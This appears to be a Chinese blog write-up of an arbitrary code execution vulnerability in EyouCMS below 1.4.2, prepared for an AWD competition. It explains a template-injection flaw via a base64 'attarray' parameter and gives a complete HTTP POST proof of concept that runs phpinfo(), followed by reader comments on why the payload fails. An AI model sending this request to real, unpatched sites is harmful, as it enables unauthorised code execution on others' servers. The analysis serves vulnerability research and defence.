EyouCMS <1.4.2 任意代码执行漏洞 #### 0x00 EyouCMS >EyouCms是基于TP5.0框架为核心开发的免费+开源的企业内容管理系统,专注企业建站用户需求 提供海量各行业模板,降低中小企业网站建设、网络营销成本,致力于打造用户舒适的建站体验 #### 0x01 起因 最近正在准备给江西省大学生省赛线下AWD出题,愁啊不知道出啥。先知逛了下发现有人发了个EyouCMS的后台文件上传,于是就想去审点洞来出题。顺便写个文章去去博客上的灰。 打开CMS的码云项目,发现作者一天前刚提交了一个新版本更新记录显示任意代码执行 ![1.png](http://www.lovei.org/usr/uploads/2019/11/510136460.png) ![2.png](http://www.lovei.org/usr/uploads/2019/11/2429835582.png) #### 0x02 分析 对比代码我们可以很明显的看到这里存在一个拼接操作,随后对拼接后的语句进行模板渲染 ![3.png](http://www.lovei.org/usr/uploads/2019/11/1949023969.png) 程序先将我们POST输入的`attarray`进行base64解密随后与`{eyou:memberlist`进行拼接,最终形成类似这种形式: `{eyou:memberlist $key='$val' js='on'}htmlcode{/eyou:memberlist}` 这里不难想到通过`}`来闭合前面的`{eyou:memberlist`达到任意代码执行的问题。因为解析的是json我们只需输入类似`{"}":"{php}phpinfo();{\/php}"}`base64编码后的内容即可控制模板达到任意代码执行的目的。 #### 0x03 触发 我们向前查找触发逻辑可知,整个代码仅由一个if语句控制,我们只需在POST包中加入`X-Requested-With: XMLHttpRequest`便可成功触发逻辑达到任意代码执行的目的 ![4.png](http://www.lovei.org/usr/uploads/2019/11/3279321951.png) POC: ``` POST /index.php?m=api&c=Ajax&a=get_tag_memberlist HTTP/1.1 Host: 10.211.55.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 64 htmlcode=fuhei&attarray=eyJ9Ijoie3BocH1waHBpbmZvKCk7e1wvcGhwfSJ9 ``` ![5.png](http://www.lovei.org/usr/uploads/2019/11/2563445202.png) [https://www.lovei.org/upload.html](https://www.lovei.org/upload.html "https://www.lovei.org/upload.html")
为什么{php}phpinfo();{\/php}会执行呢?我使用不行。
使用尖括号?php phpinfo(); ?尖括号不行,emmm被过滤了